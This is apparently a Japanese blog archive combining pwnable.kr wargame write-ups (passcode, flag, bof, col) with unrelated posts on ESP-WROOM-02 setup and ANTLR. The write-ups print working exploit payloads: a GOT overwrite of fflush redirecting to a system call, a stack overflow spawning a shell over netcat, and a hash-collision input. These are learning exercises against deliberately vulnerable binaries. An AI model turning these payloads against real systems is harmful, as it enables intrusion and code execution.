pwnable.kr(5) ~passcode~

pwnable.krの5個目の記事です。

http://pwnable.kr/play.php

リモートにログインして解くタイプですね。

ssh ssh passcode@pwnable.kr -p2222

パスワードはguest。

passcode@ubuntu:~$ ls
flag  passcode	passcode.c
passcode@ubuntu:~$ cat passcode.c

で、出たソースコード

#include <stdio.h>
#include <stdlib.h>

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
	printf("enter passcode2 : ");
        scanf("%d", passcode2);

	printf("checking...\n");
	if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
		exit(0);
        }
}

void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);
}

int main(){
	printf("Toddler's Secure Login System 1.0 beta.\n");

	welcome();
	login();

	// something after login...
	printf("Now I can safely trust you that you have credential :)\n");
	return 0;	
}

scanfの使い方がおかしいね。コメントをみると、
「ハ!母ちゃんが32bitのブルートフォース脆弱性があるって言ってたぜ!!」(意訳)
って感じ。

多分、これが言ってるのは、ASLR(Address Space Layout Randomization)で総当たりができるっていうことだと思う。

ASLRはセグメントのアドレスを実行ごとにランダムに配置するやつ。ただし、コードセグメントは不変。

32bitだとこのアドレスを決め打ちして、現実的な時間で当てることができる、という話だと思われる。だけど、今回は、使いません。

passcode@ubuntu:~$ readelf -S ./passcode
There are 30 section headers, starting at offset 0x1154:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        08048154 000154 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            08048168 000168 000020 00   A  0   0  4
  [ 3] .note.gnu.build-i NOTE            08048188 000188 000024 00   A  0   0  4
  [ 4] .gnu.hash         GNU_HASH        080481ac 0001ac 000024 04   A  5   0  4
  [ 5] .dynsym           DYNSYM          080481d0 0001d0 0000c0 10   A  6   1  4
  [ 6] .dynstr           STRTAB          08048290 000290 00009e 00   A  0   0  1
  [ 7] .gnu.version      VERSYM          0804832e 00032e 000018 02   A  5   0  2
  [ 8] .gnu.version_r    VERNEED         08048348 000348 000040 00   A  6   1  4
  [ 9] .rel.dyn          REL             08048388 000388 000010 08   A  5   0  4
  [10] .rel.plt          REL             08048398 000398 000048 08   A  5  12  4
  [11] .init             PROGBITS        080483e0 0003e0 00002e 00  AX  0   0  4
  [12] .plt              PROGBITS        08048410 000410 0000a0 04  AX  0   0 16
  [13] .text             PROGBITS        080484b0 0004b0 00029c 00  AX  0   0 16
  [14] .fini             PROGBITS        0804874c 00074c 00001a 00  AX  0   0  4
  [15] .rodata           PROGBITS        08048768 000768 0000e7 00   A  0   0  4
  [16] .eh_frame_hdr     PROGBITS        08048850 000850 000044 00   A  0   0  4
  [17] .eh_frame         PROGBITS        08048894 000894 000108 00   A  0   0  4
  [18] .ctors            PROGBITS        08049f14 000f14 000008 00  WA  0   0  4
  [19] .dtors            PROGBITS        08049f1c 000f1c 000008 00  WA  0   0  4
  [20] .jcr              PROGBITS        08049f24 000f24 000004 00  WA  0   0  4
  [21] .dynamic          DYNAMIC         08049f28 000f28 0000c8 08  WA  6   0  4
  [22] .got              PROGBITS        08049ff0 000ff0 000004 04  WA  0   0  4
  [23] .got.plt          PROGBITS        08049ff4 000ff4 000030 04  WA  0   0  4
  [24] .data             PROGBITS        0804a024 001024 000008 00  WA  0   0  4
  [25] .bss              NOBITS          0804a02c 00102c 00000c 00  WA  0   0  4
  [26] .comment          PROGBITS        00000000 00102c 00002a 01  MS  0   0  1
  [27] .shstrtab         STRTAB          00000000 001056 0000fc 00      0   0  1
  [28] .symtab           SYMTAB          00000000 001604 0004a0 10     29  45  4
  [29] .strtab           STRTAB          00000000 001aa4 000299 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings)
  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)

すべてのセクションの表示。.got.pltセクションをみてみると、WA、つまりW(write)が入ってるのでこのセクションは書き込めるわけだ。
ところで.got.pltセクションは外部の共有ライブラリに飛ぶ際に使われるテーブルで、たとえば、

passcode@ubuntu:~$ gdb -q ./passcode
Reading symbols from ./passcode...(no debugging symbols found)...done.
(gdb) disas welcome
Dump of assembler code for function welcome:
   0x08048609 <+0>:	push   %ebp
   0x0804860a <+1>:	mov    %esp,%ebp
   0x0804860c <+3>:	sub    $0x88,%esp
   0x08048612 <+9>:	mov    %gs:0x14,%eax
   0x08048618 <+15>:	mov    %eax,-0xc(%ebp)
   0x0804861b <+18>:	xor    %eax,%eax
   0x0804861d <+20>:	mov    $0x80487cb,%eax
   0x08048622 <+25>:	mov    %eax,(%esp)
   0x08048625 <+28>:	call   0x8048420 <printf@plt>
   0x0804862a <+33>:	mov    $0x80487dd,%eax
   0x0804862f <+38>:	lea    -0x70(%ebp),%edx
   0x08048632 <+41>:	mov    %edx,0x4(%esp)
   0x08048636 <+45>:	mov    %eax,(%esp)
   0x08048639 <+48>:	call   0x80484a0 <__isoc99_scanf@plt>
   0x0804863e <+53>:	mov    $0x80487e3,%eax
   0x08048643 <+58>:	lea    -0x70(%ebp),%edx
   0x08048646 <+61>:	mov    %edx,0x4(%esp)
   0x0804864a <+65>:	mov    %eax,(%esp)
   0x0804864d <+68>:	call   0x8048420 <printf@plt>
   0x08048652 <+73>:	mov    -0xc(%ebp),%eax
   0x08048655 <+76>:	xor    %gs:0x14,%eax
   0x0804865c <+83>:	je     0x8048663 <welcome+90>
---Type <return> to continue, or q <return> to quit---q
Quit

のprintfを呼んでいるところ

   0x08048625 <+28>:	call   0x8048420 <printf@plt>

こことかを見てみると、0x8048420っていうのはobjdumpから.pltセクションであることがわかる。

passcode@ubuntu:~$ objdump -j .plt -d ./passcode
...
08048420 <printf@plt>:
 8048420:	ff 25 00 a0 04 08    	jmp    *0x804a000
 8048426:	68 00 00 00 00       	push   $0x0
 804842b:	e9 e0 ff ff ff       	jmp    8048410 <_init+0x30>

この部分をみると、1行目でさらに、0x804a000に保存されているアドレスにジャンプしていることがわかる。
じゃあ、0x804a000ってどこだっていう話になるんだけど、これが.gotテーブルなわけ。

passcode@ubuntu:~$ objdump -j .got.plt -d ./passcode

./passcode:     file format elf32-i386


Disassembly of section .got.plt:

08049ff4 <_GLOBAL_OFFSET_TABLE_>:
 8049ff4:	28 9f 04 08 00 00 00 00 00 00 00 00 26 84 04 08     (...........&...
 804a004:	36 84 04 08 46 84 04 08 56 84 04 08 66 84 04 08     6...F...V...f...
 804a014:	76 84 04 08 86 84 04 08 96 84 04 08 a6 84 04 08     v...............

これを見ると、prinfは結局、0x08048426に飛んでることがわかる。
さっきも言った通り、このセクションは書き込み可能。
したがって、これのどれかをうまく書き換えれば、任意の場所に飛ばせることができる。ところで、なぜこのセクションが書き込み可能なのかということは

リンカ・ローダ開発テクニックとか、セキュリティコンテストチャレンジブックとかに載ってたと思う。リンクするときに変えられないとだめだからみたいな話だった気がする。

あとは、gdbでちまちまと考えていく。

passcode@ubuntu:~$ gdb -q  ./passcode
Reading symbols from ./passcode...(no debugging symbols found)...done.
(gdb) b welcome
Breakpoint 1 at 0x8048612
(gdb) b login
Breakpoint 2 at 0x804856a
(gdb) r
Starting program: /home/passcode/passcode 
Toddler's Secure Login System 1.0 beta.

Breakpoint 1, 0x08048612 in welcome ()
(gdb) disas welcome
Dump of assembler code for function welcome:
   0x08048609 <+0>:	push   %ebp
   0x0804860a <+1>:	mov    %esp,%ebp
   0x0804860c <+3>:	sub    $0x88,%esp
=> 0x08048612 <+9>:	mov    %gs:0x14,%eax
   0x08048618 <+15>:	mov    %eax,-0xc(%ebp)
   0x0804861b <+18>:	xor    %eax,%eax
   0x0804861d <+20>:	mov    $0x80487cb,%eax
   0x08048622 <+25>:	mov    %eax,(%esp)
   0x08048625 <+28>:	call   0x8048420 <printf@plt>
   0x0804862a <+33>:	mov    $0x80487dd,%eax
   0x0804862f <+38>:	lea    -0x70(%ebp),%edx
   0x08048632 <+41>:	mov    %edx,0x4(%esp)
   0x08048636 <+45>:	mov    %eax,(%esp)
   0x08048639 <+48>:	call   0x80484a0 <__isoc99_scanf@plt>
   0x0804863e <+53>:	mov    $0x80487e3,%eax
   0x08048643 <+58>:	lea    -0x70(%ebp),%edx
   0x08048646 <+61>:	mov    %edx,0x4(%esp)
   0x0804864a <+65>:	mov    %eax,(%esp)
   0x0804864d <+68>:	call   0x8048420 <printf@plt>
   0x08048652 <+73>:	mov    -0xc(%ebp),%eax
   0x08048655 <+76>:	xor    %gs:0x14,%eax
   0x0804865c <+83>:	je     0x8048663 <welcome+90>
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) p/x $esp
$1 = 0xfff33dd0
(gdb) p/x $ebp
$2 = 0xfff33e58
(gdb) c
Continuing.
enter you name : aaaaaaaa
Welcome aaaaaaaa!

Breakpoint 2, 0x0804856a in login ()
(gdb) disas login
Dump of assembler code for function login:
   0x08048564 <+0>:	push   %ebp
   0x08048565 <+1>:	mov    %esp,%ebp
   0x08048567 <+3>:	sub    $0x28,%esp
=> 0x0804856a <+6>:	mov    $0x8048770,%eax
   0x0804856f <+11>:	mov    %eax,(%esp)
   0x08048572 <+14>:	call   0x8048420 <printf@plt>
   0x08048577 <+19>:	mov    $0x8048783,%eax
   0x0804857c <+24>:	mov    -0x10(%ebp),%edx
   0x0804857f <+27>:	mov    %edx,0x4(%esp)
   0x08048583 <+31>:	mov    %eax,(%esp)
   0x08048586 <+34>:	call   0x80484a0 <__isoc99_scanf@plt>
   0x0804858b <+39>:	mov    0x804a02c,%eax
   0x08048590 <+44>:	mov    %eax,(%esp)
   0x08048593 <+47>:	call   0x8048430 <fflush@plt>
   0x08048598 <+52>:	mov    $0x8048786,%eax
   0x0804859d <+57>:	mov    %eax,(%esp)
   0x080485a0 <+60>:	call   0x8048420 <printf@plt>
   0x080485a5 <+65>:	mov    $0x8048783,%eax
   0x080485aa <+70>:	mov    -0xc(%ebp),%edx
   0x080485ad <+73>:	mov    %edx,0x4(%esp)
   0x080485b1 <+77>:	mov    %eax,(%esp)
   0x080485b4 <+80>:	call   0x80484a0 <__isoc99_scanf@plt>
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) p/x $esp
$3 = 0xfff33e30
(gdb) p/x $ebp
$4 = 0xfff33e58

$ebpが同じであることがわかる。そりゃ、mainで関数を連続呼び出ししているからね。念のため。スタックポインタは表示した意味ないです。

scanfは呼び出しの際にeaxにフォーマット文字列の先頭アドレス、この場合はedxに、第二引数のアドレスが格納されて、スタックにプッシュされて呼び出されていることがわかる。

また、welcomeでは、nameをスタック内に取っているので、書き込んだものは、login呼び出し内で残されるということもわかる。

まず、welcome内では、

(gdb) disas welcome
Dump of assembler code for function welcome:
   0x08048609 <+0>:	push   %ebp
   0x0804860a <+1>:	mov    %esp,%ebp
   0x0804860c <+3>:	sub    $0x88,%esp
   0x08048612 <+9>:	mov    %gs:0x14,%eax
   0x08048618 <+15>:	mov    %eax,-0xc(%ebp)
   0x0804861b <+18>:	xor    %eax,%eax
   0x0804861d <+20>:	mov    $0x80487cb,%eax
   0x08048622 <+25>:	mov    %eax,(%esp)
   0x08048625 <+28>:	call   0x8048420 <printf@plt>
   0x0804862a <+33>:	mov    $0x80487dd,%eax
   0x0804862f <+38>:	lea    -0x70(%ebp),%edx
   0x08048632 <+41>:	mov    %edx,0x4(%esp)
   0x08048636 <+45>:	mov    %eax,(%esp)
   0x08048639 <+48>:	call   0x80484a0 <__isoc99_scanf@plt>
   0x0804863e <+53>:	mov    $0x80487e3,%eax
   0x08048643 <+58>:	lea    -0x70(%ebp),%edx
   0x08048646 <+61>:	mov    %edx,0x4(%esp)
   0x0804864a <+65>:	mov    %eax,(%esp)
   0x0804864d <+68>:	call   0x8048420 <printf@plt>
   0x08048652 <+73>:	mov    -0xc(%ebp),%eax
   0x08048655 <+76>:	xor    %gs:0x14,%eax
   0x0804865c <+83>:	je     0x8048663 <welcome+90>
---Type <return> to continue, or q <return> to quit---
   0x0804865e <+85>:	call   0x8048440 <__stack_chk_fail@plt>
   0x08048663 <+90>:	leave  
   0x08048664 <+91>:	ret    
End of assembler dump.

のscanf直前の

   0x0804862f <+38>:	lea    -0x70(%ebp),%edx

ここで、edxがebp-0x70になることがわかる。ここがnameの先頭。

次に、

(gdb) disas login
Dump of assembler code for function login:
   0x08048564 <+0>:	push   %ebp
   0x08048565 <+1>:	mov    %esp,%ebp
   0x08048567 <+3>:	sub    $0x28,%esp
   0x0804856a <+6>:	mov    $0x8048770,%eax
   0x0804856f <+11>:	mov    %eax,(%esp)
   0x08048572 <+14>:	call   0x8048420 <printf@plt>
   0x08048577 <+19>:	mov    $0x8048783,%eax
   0x0804857c <+24>:	mov    -0x10(%ebp),%edx
   0x0804857f <+27>:	mov    %edx,0x4(%esp)
   0x08048583 <+31>:	mov    %eax,(%esp)
   0x08048586 <+34>:	call   0x80484a0 <__isoc99_scanf@plt>
   0x0804858b <+39>:	mov    0x804a02c,%eax
   0x08048590 <+44>:	mov    %eax,(%esp)
   0x08048593 <+47>:	call   0x8048430 <fflush@plt>
   0x08048598 <+52>:	mov    $0x8048786,%eax
   0x0804859d <+57>:	mov    %eax,(%esp)
   0x080485a0 <+60>:	call   0x8048420 <printf@plt>
   0x080485a5 <+65>:	mov    $0x8048783,%eax
   0x080485aa <+70>:	mov    -0xc(%ebp),%edx
   0x080485ad <+73>:	mov    %edx,0x4(%esp)
   0x080485b1 <+77>:	mov    %eax,(%esp)
   0x080485b4 <+80>:	call   0x80484a0 <__isoc99_scanf@plt>
---Type <return> to continue, or q <return> to quit---
   0x080485b9 <+85>:	movl   $0x8048799,(%esp)
   0x080485c0 <+92>:	call   0x8048450 <puts@plt>
   0x080485c5 <+97>:	cmpl   $0x528e6,-0x10(%ebp)
   0x080485cc <+104>:	jne    0x80485f1 <login+141>
   0x080485ce <+106>:	cmpl   $0xcc07c9,-0xc(%ebp)
   0x080485d5 <+113>:	jne    0x80485f1 <login+141>
   0x080485d7 <+115>:	movl   $0x80487a5,(%esp)
   0x080485de <+122>:	call   0x8048450 <puts@plt>
   0x080485e3 <+127>:	movl   $0x80487af,(%esp)
   0x080485ea <+134>:	call   0x8048460 <system@plt>
   0x080485ef <+139>:	leave  
   0x080485f0 <+140>:	ret    
   0x080485f1 <+141>:	movl   $0x80487bd,(%esp)
   0x080485f8 <+148>:	call   0x8048450 <puts@plt>
   0x080485fd <+153>:	movl   $0x0,(%esp)
   0x08048604 <+160>:	call   0x8048480 <exit@plt>
End of assembler dump.

この1回目のscanfの前の部分を考えてみると、同様に、edx=*(ebp-0x10)となっていることがわかる。よって、これが、passcode1 の先頭アドレス。この中にあるアドレスにscanfが書き込むわけだ。ここに、welcomeで書き込んでまだ残っている値を利用して、scanfに飛びたいアドレスを書き込ませる。

今回は 1 回目のscanfのあとのfflushのGOTテーブル(0x804a004)を変更して、出力部分に飛ぶ。飛びたいところは、system呼ぶ前の引数設定の場所0x080485e3なので、

python -c "print 'a'*(0x70-0x10)+'\x04\xa0\x04\x08\n'+str(0x80485e3)" | ./passcode

ESP-WROOM-02 動作確認 on OS X

前々から使いたかったESP系なんですけど、やっと使いはじめることができました。
使ったのはESP-WROOM-02なんですけど、すでに後継の32が出てるんですよね。
両方とも前に買ったんですけど、PICいじってたら自分の中で忘れ去られそうになってました。これから使うとしたら、32一択のような気がするんですけど、初めてなので、ぶっこわしてもいいかなという気持ちで02使います。使ったUSB-serial通信モジュールは秋月のFT232RLです。

akizukidenshi.com

あと02も

akizukidenshi.com

10kΩ抵抗も 4 個使いました。

環境

OS X(High Sierra)
Arduino IDE 1.8.5

FT232RLの設定

まず、FT232RLのドライバをインストールする。FT232Rのドライバは 2 つあるんだけど、VCPドライバを今回はダウンロードする。このドライバで仮想COMポートを作る。リンク↓

www.ftdichip.com

んで、秋月のFT232RLのデータシートみて、電源を供給する。
ジャンパピンは J1 の 1 と 2 をショートさせて、外部から電源を供給するようにした。バスパワーから取って電流が足りなくなると嫌なので。平均消費電流80mAらしい。

配線例

f:id:b1u3:20180815213815j:plain

右側の - はGND + は 3.3 V。

電源繋いで、PCと繋いで、ドライバがちゃんと入っていれば、ターミナルから

% ls /dev/tty.*
/dev/tty.usbserial-********

で新しいデバイスが出てる。

ESP-WROOM-02

フラッシュブートモードでATコマンドを実行できるようにする。

なので、
IO0 → HIGH
IO2 → HIGH
IO15 → LOW
EN → HIGH
TXD → FT232RLのRXD
RXD → FT232RLのTXD
3V3 → HIGH
GND → GND
RST → スイッチ(プルアップ)

とする。HIGH の方は一応 10kΩの抵抗つける。こんな感じ。

f:id:b1u3:20180815215330j:plain

Arduino IDE

ツール→シリアルポート→/dev/cu.usbserial-********を選択。
ツール→シリアルモニタを選択。

f:id:b1u3:20180815220338p:plain

改行をCR,LRにしてボーレートを115200にする。
電源入れてRF232RLを認識してる時点で、電源が入っているはずなので、RSTに繋いだボタンをおす。離した瞬間に、シリアルモニタに文字化けされた記号とreadyの文字列がある。

f:id:b1u3:20180815220721p:plain

シリアルモニタにコマンドを打ち込める。

AT
AT+GMR

で改行とバージョンが出ればOk。

f:id:b1u3:20180815221327p:plain

ATコマンドの種類があんましわかってないので、調べる予定。






ANTLR使ってみたよ

ANTLRっていうパーサジェネレータ使ってみた。
ANT(i)LR の意味も含んであるらしい(wiki)。
プリプロセッサを考えてみようかなって思って、ちょっと触ってみた。

環境

Intelli J idea UE
ANTLR v4 4.7.1
gradle 4.9
java 10

環境設定

gradleのantlrプラグインがあるので、そいつを入れる。

// build.gradle
apply plugin : 'antlr'

ライブラリの追加

dependencies {
    testCompile group: 'junit', name: 'junit', version: '4.12'
    antlr "org.antlr:antlr4:4.7.1"
}

testCompileは使わないので、入れなくてもどちらでもいいです。
Intelli J のプラグインのANTLRv4のプラグインがあります。

plugins.jetbrains.com

これも入れる。
OS X ならpreference->pluginの検索タブからANTLRを入力してリポジトリからインストール。これを入れるとシンタックスハイライトとリアルタイムツリープレビューができる。

試し書き

gradleのプラグインを入れるとsrc/mainにantlrというフォルダができる。ここに、g4という拡張子のファイルを置く。
今回はLang.g4というファイルを作ってみた。

以下、Lang.g4

grammar Lang;
/*
@header {
    package sample ;
}
*/

/*
 * Parser Rules
 */

input       : stmt+ EOF ;
stmt        : ((assign | expr) (STMTSEP stmt)? NEWLINE?) | NEWLINE | STMTSEP ;
assign      : ID EQUAL (assign | expr) ;
expr        : ((ID | INTEGER) (unop expr)?) ;
unop        : (PLUS | MINUS | STAR | DIV) ;

/*
 * Lexer Rules
 */

fragment LOWERCASE     : [a-z] ;
fragment UPPERCASE     : [A-Z] ;
fragment DIGIT         : [0-9] ;

ID        : (LOWERCASE | UPPERCASE | '_')+ ;
INTEGER     : ('+' | '-')? DIGIT+ ;
SPACE       : (' ' | '¥t' | ',' | '¥n') -> skip ;
EQUAL       : '=' ;
MINUS       : '-' ;
PLUS        : '+' ;
STAR        : '*' ;
DIV         : '/' ;
NEWLINE     : ('¥r'? '¥n') | '¥r' ;
STMTSEP     : ';' ;

Intelli J のプラグインを入れておくと、ウィンドウ下にpreviewというタブがでる。
エディターのパーサールールの名前のところで右クリック->Test Rule XXをクリックするとpreviewに入力したのを解析してグラフにしてくれる。

f:id:b1u3:20180813095353p:plain

他はIntelli J のターミナルプラグインを用いて、以下をbuild.gradleに追加して、runする。

apply plugin: 'application'
...
mainClassName = "org.antlr.v4.gui.TestRig"
...
//gradle 4.8 以下のためのコマンドライン引数を渡す処理
run{
    standardInput = System.in
    if(project.hasProperty("args")){
        //スペースで分割
        args project.args.split(" ")
    }
}

実行。
gui出力。

% gradle run --args "Lang input --gui"
% gradle run --Pargs="Lang input --gui"

コンソール出力。

% gradle run --args "Lang input --tokens"
% gradle run --Pargs="Lang input --tokens"

gradle 4.8 以下と 4.9 での書き方。

問題点

文法ファイルの書式がイマイチなのでよくわかんないのと、いい書き方みたいのがまだわかんないからそこらへんを調べてみたい。

pwnable.kr(4)

pwnable.krの4記事目。
linuxの仮想環境立てるのがめんどくさくておくれてしまいました。

pwnable.kr

まず、添付されてるフラグをダウンロードする。

[b1u3 Downloads]$ sudo u+x ./flag
[b1u3 Downloads]$ ./flag
I will malloc() and strcpy the flag there. take it.

オォン。

[b1u3 Downloads]$ objdump -d flag

flag:     ファイル形式 elf64-x86-64

!!!??。
stringsやってもなんかめぼしいのが出なかった。

こっからは調べました!!!

参考にしたのはgoogleで検索してgithubにまとめてあったやつ。

github.com

なんで逆アセンブルできなかったんだろうっていう疑問がここで解決した。
UPXっていうフリーのパッカーを使ってるようだ。
UPXの問題はセキュリティコンテストチャレンジブックに載ってたと思う。

http://amzn.asia/c0mKeYM

美しき策謀のほうだったかな。どっちかわすれました。

UPXをインストールして、解凍する。

[b1u3 Downloads]$ sudo pacman -S upx
[b1u3 Downloads]$ upx -d flag -o flag_decompressed
[b1u3@localhost]$ readelf -s flag_decompressed |grep main
    51: 00000000006c27c0  2184 OBJECT  LOCAL  DEFAULT   26 main_arena
   395: 00000000006c5580     8 OBJECT  LOCAL  DEFAULT   27 _nl_loaded_domains
   916: 0000000000494f60   214 FUNC    GLOBAL DEFAULT    7 _nl_unload_domain
   934: 000000000041dac0  5900 FUNC    GLOBAL DEFAULT    6 _nl_load_domain
  1017: 00000000006c60e0     8 OBJECT  GLOBAL DEFAULT   27 _nl_domain_bindings
  1193: 0000000000430b80    49 FUNC    GLOBAL DEFAULT    6 _IO_switch_to_main_wget_a
  1301: 000000000041d830   645 FUNC    GLOBAL DEFAULT    6 _nl_find_domain
  1600: 0000000000401164    61 FUNC    GLOBAL DEFAULT    6 main
  1719: 00000000004ae998     5 OBJECT  GLOBAL DEFAULT   10 _libc_intl_domainname
  1760: 0000000000494f10    73 FUNC    GLOBAL DEFAULT    7 _nl_finddomain_subfreeres
  1938: 00000000004011b0   590 FUNC    GLOBAL DEFAULT    6 __libc_start_main
  2043: 0000000000402d80    43 FUNC    GLOBAL DEFAULT    6 _IO_switch_to_main_get_ar

mainシンボルがちゃんとある。
こっから、

[b1u3 Downloads]$ gdb flag_decompressed -q
Reading symbols from flag_decompressed...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/b1u3/Downloads/flag_decompressed 
I will malloc() and strcpy the flag there. take it.
[Inferior 1 (process 30254) exited normally]
(gdb) disass
No frame selected.
(gdb) disass main
Dump of assembler code for function main:
   0x0000000000401164 <+0>:	push   %rbp
   0x0000000000401165 <+1>:	mov    %rsp,%rbp
   0x0000000000401168 <+4>:	sub    $0x10,%rsp
   0x000000000040116c <+8>:	mov    $0x496658,%edi
   0x0000000000401171 <+13>:	callq  0x402080 <puts>
   0x0000000000401176 <+18>:	mov    $0x64,%edi
   0x000000000040117b <+23>:	callq  0x4099d0 <malloc>
   0x0000000000401180 <+28>:	mov    %rax,-0x8(%rbp)
   0x0000000000401184 <+32>:	mov    0x2c0ee5(%rip),%rdx        # 0x6c2070 <flag>
   0x000000000040118b <+39>:	mov    -0x8(%rbp),%rax
   0x000000000040118f <+43>:	mov    %rdx,%rsi
   0x0000000000401192 <+46>:	mov    %rax,%rdi
   0x0000000000401195 <+49>:	callq  0x400320
   0x000000000040119a <+54>:	mov    $0x0,%eax
   0x000000000040119f <+59>:	leaveq 
   0x00000000004011a0 <+60>:	retq   
End of assembler dump.
(gdb) x/10xb
Argument required (starting display address).
(gdb) x/10xb 0x6c2070
0x6c2070 <flag>:	0x28	0x66	0x49	0x00	0x00	0x00	0x00	0x00
0x6c2078:	0x00	0x00
(gdb) e/s 0x496628
Ambiguous command "e/s 0x496628": .
(gdb) x/s 0x496628

ところどころコマンドミスってるけど気にしないでほしい。

コマンドの説明すると、

gdbを-qで起動時の余計な出力を省いて起動する。
一度実行 r(run) する。
mainフレームを逆アセンブルする。
謎のコメントがあるので、そのアドレスに格納されている値を調べる x(examine)/10(10個)x(16進数で)b(バイト単位で)。
0x6c2070の0x28 0x66 0x49をリトルエンディアンのアドレスとして(0x496628)、x(examine)/x(stringで) 調べる。

これで、フラグが出た。やったぜ!!!

pwnable.kr(3)

ちょっと間が空いて2つ目の記事で終わりそうでした。僕もあまり続くようなたちではないんですけど、頑張ってみようと思います。身になると信じて。

bof

pwnable.krの3つ目の問題です。netcat系の問題ですね。

nc pwnable.kr 9000

を実行して適当に入れるとoverflow me...が出る。
そのあとは、先にソースコードを見た。ソースコードから得られるのは、まず何を入力すればいいのかということ。
関数funcは0xdeadbeefの引数で呼ばれている。引数がpushされて呼ばれているくさいので、当分の目標はpushされた引数をgetsによる変数overflowmeへの書き込みによって上書きするというもの。入力する値は、適当な文字列(少なくとも32文字以上)+¥xbe¥xba¥xfe¥xca。後半部分は、0xcafebabeのリトルエンディアン表記。んで、適当な文字列を何文字入れれば良いのかということなんだけど。
バイナリ見てみる。

% objdump --arch-name=x86 -d bof

まず、mainをみる。

main:
     68a:	55 	pushl	%ebp
     68b:	89 e5 	movl	%esp, %ebp
     68d:	83 e4 f0 	andl	$-16, %esp
     690:	83 ec 10 	subl	$16, %esp
     693:	c7 04 24 ef be ad de 	movl	$3735928559, (%esp)
     69a:	e8 8d ff ff ff 	calll	-115 <func>
     69f:	b8 00 00 00 00 	movl	$0, %eax
     6a4:	c9 	leave
     6a5:	c3 	retl
     6a6:	90 	nop

693:	c7 04 24 ef be ad de 	movl	$3735928559, (%esp)

この部分を見て、deadbeefがスタックに積まれている事がわかる。
その次の行でfuncを呼び出してる。
funcは

func:
     62c:	55 	pushl	%ebp
     62d:	89 e5 	movl	%esp, %ebp
     62f:	83 ec 48 	subl	$72, %esp
     632:	65 a1 14 00 00 00 	movl	%gs:20, %eax
     638:	89 45 f4 	movl	%eax, -12(%ebp)
     63b:	31 c0 	xorl	%eax, %eax
     63d:	c7 04 24 8c 07 00 00 	movl	$1932, (%esp)
     644:	e8 fc ff ff ff 	calll	-4 <func+0x19>
     649:	8d 45 d4 	leal	-44(%ebp), %eax
     64c:	89 04 24 	movl	%eax, (%esp)
     64f:	e8 fc ff ff ff 	calll	-4 <func+0x24>
     654:	81 7d 08 be ba fe ca 	cmpl	$3405691582, 8(%ebp)
     65b:	75 0e 	jne	14 <func+0x3F>
     65d:	c7 04 24 9b 07 00 00 	movl	$1947, (%esp)
     664:	e8 fc ff ff ff 	calll	-4 <func+0x39>
     669:	eb 0c 	jmp	12 <func+0x4B>
     66b:	c7 04 24 a3 07 00 00 	movl	$1955, (%esp)
     672:	e8 fc ff ff ff 	calll	-4 <func+0x47>
     677:	8b 45 f4 	movl	-12(%ebp), %eax
     67a:	65 33 05 14 00 00 00 	xorl	%gs:20, %eax
     681:	74 05 	je	5 <func+0x5C>
     683:	e8 fc ff ff ff 	calll	-4 <func+0x58>
     688:	c9 	leave
     689:	c3 	retl

どこが変数overflowなのか探すために、比較しているところをみる。

     649:	8d 45 d4 	leal	-44(%ebp), %eax
     64c:	89 04 24 	movl	%eax, (%esp)
     64f:	e8 fc ff ff ff 	calll	-4 <func+0x24>
     654:	81 7d 08 be ba fe ca 	cmpl $3405691582, 8(%ebp)

ここ。eax = ebp-44 で、この値をスタックにおいてから、getsを呼んでる。したがって、ebp-44がoverflowの先頭だっていう事がわかる。また、cmplからebp+8がfuncの引数keyって事がわかる。したがって、ebp-44からebp+8までの差ebp+8-(ebp-44)=52が適当な文字列の長さ。これに付け加えれば良い。
したがって、入力するコードが

% (python -c "print 'a'*52+'\xbe\xba\xfe\xca'";cat) | nc pwnable.kr 9000

となる。このあとは、シェルが起動しているので、

% (python -c "print 'a'*52+'\xbe\xba\xfe\xca'";cat) | nc pwnable.kr 9000
ls
bof
bof.c
flag
log
log2
super.pl
cat flag

でフラグがでます。

pwnable.kr(2)

布教用兼確認の2記事目

http://pwnable.kr

col

2つ目の問題。

col@ubuntu:~$ ls -l
total 16
-r-sr-x--- 1 col_pwn col     7341 Jun 11  2014 col
-rw-r--r-- 1 root    root     555 Jun 12  2014 col.c
-r--r----- 1 col_pwn col_pwn   52 Jun 11  2014 flag

MD5って書いてあったから多分、ソースコードcol.cのlongのハッシュコードがMD5なんだと思う。16バイト(128ビット)だし。MD5アルゴリズムとは何にも関係なさそう。

ソースコードを見てみると、プログラムの引数に値を渡すタイプだって事がわかる。長さは20じゃないとダメ。

	if(strlen(argv[1]) != 20){
		printf("passcode length should be 20 bytes\n");
		return 0;
	}

長さが20でもcheck_passwordの戻り値と定数hashcodeが同じじゃないとダメ。
check_passwordは20バイトの文字列を先頭から4バイトずつリトルエンディアンの整数として5回足すというもの。

unsigned long check_password(const char* p){
	int* ip = (int*)p;
	int i;
	int res=0;
	for(i=0; i<5; i++){
		res += ip[i];
	}
	return res;
}

この戻り値をhashcodeに合わせれば良い。合わせるパターンはいくらでもあるけど、¥x00(ヌル文字)とかは文字列が終了して使えなかったり、アラームとかも使えないんじゃないかって思ったりするので、そういうところは気をつける。
今回は、hashcodeを5で割って最後のにオフセットをつける。hashcodeは0x21DD09ECっていうことを踏まえて、算出する。python3のインタプリターで。

>>> from struct import pack
>>> pack('i',0x21DD09EC//5)
b'\xc8\xce\xc5\x06'
>>> pack('i',0x21DD09EC//5+0x21DD09EC%5)
b'\xcc\xce\xc5\x06'

これで準備は整った。
ぶち込んでやるぜぇ。

col@ubuntu:~$ ./col `python -c 'print "\xc8\xce\xc5\x06"*4+"\xcc\xce\xc5\x06"'`

おしまい。

pwnable.kr (1)

CTF布教用の記事。

http://pwnable.kr
